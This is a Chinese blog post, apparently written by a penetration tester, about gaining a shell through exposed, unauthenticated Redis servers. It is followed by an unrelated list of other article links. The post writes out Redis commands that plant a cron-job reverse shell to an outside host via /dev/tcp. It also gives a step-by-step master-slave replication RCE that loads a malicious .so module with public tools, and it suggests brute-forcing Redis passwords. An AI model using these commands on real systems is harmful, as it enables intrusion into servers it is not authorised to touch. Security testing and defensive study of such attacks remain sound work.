记一次Redis+Getshell经验分享
前言:
当我们接到一个授权渗透测试的时候,常规漏洞如注入、文件上传等尝试无果后,扫描端口可能会发现意外收获。
知己知彼乃百战不殆,Redis介绍:
简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。
运筹帷幄之中,Redis漏洞:
1、未授权访问漏洞
Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。
当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!
目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。
2、定时计划反弹shell
1)set x “\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n”
2)config set dir /var/spool/cron/
3)config set dbfilename root
4)save
3、利用主从复制rce
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。
需要利用一个工具,GitHub下载即可。
1)git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
2)git clone https://github.com/Ridter/redis-rce.git
进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。
决胜千里之外,实战演练:
本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)
攻击端ip:192.168.109.134
服务端ip:192.168.109.136
通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip
利用主从复制rce获取shell
首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。
攻击端执行:
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
成功获取shell
总结:
其实最难得还是需要细心,日常有授权测试的时候不要轻易放过任何数据包,以及一些js文件,它通常会给你带来很多意外的惊喜。执着是好事,但是不能太钻牛角尖,如果一个方面实在行不通的话,可以换条路走,毕竟条条大路最终都是通罗马的。
记一次Redis+Getshell经验分享的更多相关文章
- (转)国内外三个不同领域巨头分享的Redis实战经验及使用场景
随着应用对高性能需求的增加,NoSQL逐渐在各大名企的系统架构中生根发芽.这里我们将为大家分享社交巨头新浪微博.传媒巨头Viacom及图片分享领域佼佼者Pinterest带来的Redis实践,首先我们 ...
- Redis实战经验及使用场景
随着应用对高性能需求的增加,NoSQL逐渐在各大名企的系统架构中生根发芽.这里我们将为大家分享社交巨头新浪微博.传媒巨头Viacom及图片分享领域佼佼者Pinterest带来的Redis实践,首先我们 ...
- 我的秋招经验分享(已拿BAT头条网易滴滴)
微信公众号[程序员江湖] 作者黄小斜,斜杠青年,某985硕士,阿里 Java 研发工程师,于 2018 年秋招拿到 BAT 头条.网易.滴滴等 8 个大厂 offer,目前致力于分享这几年的学习经验. ...
- 2019年京东Java研发岗社招面经(面试经历+真题总结+经验分享)!
本篇先以日历形式回顾秋招之路,方便各位参考某厂的处理进度:然后是总结归纳春秋招Java面试题库:最后做个总结还有展望,开始新的征程~ 面试经历京东面试真题面试经验分享1.面试经历 2018年的冬季特别 ...
- Georgia Tech Online Master of Science in Computer Science 项目经验分享
Georgia Tech Online Master of Science in Computer Science 项目经验分享 Posted on 2014/04/22 项目关键词:工科名校,计算机 ...
- Kaggle比赛冠军经验分享:如何用 RNN 预测维基百科网络流量
Kaggle比赛冠军经验分享:如何用 RNN 预测维基百科网络流量 from:https://www.leiphone.com/news/201712/zbX22Ye5wD6CiwCJ.html 导语 ...
- 来自IOS开发工程师的零基础自学HTML5经验分享
移动互联网的火爆,而Html具有跨平台.开发快的优势,越来越受到开发者的青睐.感谢IOS开发工程师“小木___Boy”’带来的HTML5学习经验分享. 一.学习途径 1.很多视频网站 比如慕课.和极客 ...
- [2017-09-05]Abp系列——Abp后台作业系统介绍与经验分享
本系列目录:Abp介绍和经验分享-目录 什么是后台作业系统 后台作业系统即BackgroundJob,从需求上讲,是一套基础设施,允许我们定义一个作业,在未来指定的某个时间去执行. 后台作业的一般场景 ...
- 新东方APP技术架构演进, 分布式系统架构经验分享
今天的演讲题目是"新东方APP技术架构演进, C端技术经验分享" 作者:张建鑫, 曾任IBM高级软件架构师, 滴滴高级技术专家, 现任新东方集团高级技术总监 古代东西方的思想家都产 ...
随机推荐
- Python 之并发编程之线程中
四.线程锁lock(线程的数据安全) 在数据量较大的时候,线程中的数据会被并发,所有数据会不同步,以至于数据会异常. 下面还介绍了两种的上锁方法. 例: from threading import T ...
- day4-1深入理解对象之创建对象
深入理解对象 之创建对象: 工厂模式: 工厂模式虽然解决了创建\多个相似对象的问题,但却没有解决对象识别的问题(即怎样知道一个对象的类型) 工厂模式问题:那就是识别问题,因为根本无法 搞清楚他们到底是 ...
- BZOJ 4167: 永远的竹笋采摘
首先同BZOJ5052 \(O(n \log n \log v)\) 求出所有点对 现在变成选出 \(k\) 条不相交的线段使得权值最小 可用前缀min优化dp \(O(nk)\) 解决 还是太慢,考 ...
- Mate Linux 桌面的什么受GNOME 2 粉丝喜欢 ?
导读 如果你以前听过这个传闻:当 GNOME3 第一次发布时,很多 GNOME 用户还没有准备好放弃 GNOME 2. Mate(以马黛茶yerba mate植物命名)项目的开始是为了延续 GNOME ...
- 第1节 Scala基础语法:scala中的方法源码分析
val list=List(1,2,3,4) list.reduce((x:Int,y:Int)=>x+y)--->list.reduceLeft((x:Int,y:Int)=>x+ ...
- 【PAT甲级】1013 Battle Over Cities (25 分)(并查集,简单联通图)
题意: 输入三个整数N,M,K(N<=1000,第四个数据1e5<=M<=1e6).有1~N个城市,M条高速公路,K次询问,每次询问输入一个被敌军占领的城市,所有和该城市相连的高速公 ...
- [转]Java——Servlet的配置和测试
本文转自:http://blog.csdn.net/makefish/article/details/6904807 本文以一个实例介绍如何用Java开发Servlet. 主要内容有: 配置和验证To ...
- Linux centosVMware Linux监控平台介绍、zabbix监控介绍、安装zabbix、忘记Admin密码如何做
一.Linux监控平台介绍 cacti.nagios.zabbix.smokeping.open-falcon等等 cacti.smokeping偏向于基础监控,成图非常漂亮 cacti.nagios ...
- 通过Java读取xml文件内容
读取XML中的内容就需要对XML进行解析,目前对XML进行解析的方法分为四种: 下面解析的方法是DOM4J,需要下载jar包dom4j:https://dom4j.github.io/ package ...
- 《iOS开发进阶》书籍目录
第一部分:iOS开发工具 第二部分:iOS开发实践 第10章 理解内存管理 10.1 引用计数 10.1.1 什么是引用计数,原理是什么 10.1.2 我们为什么需要引用计数 10.1.3 不要向已经 ...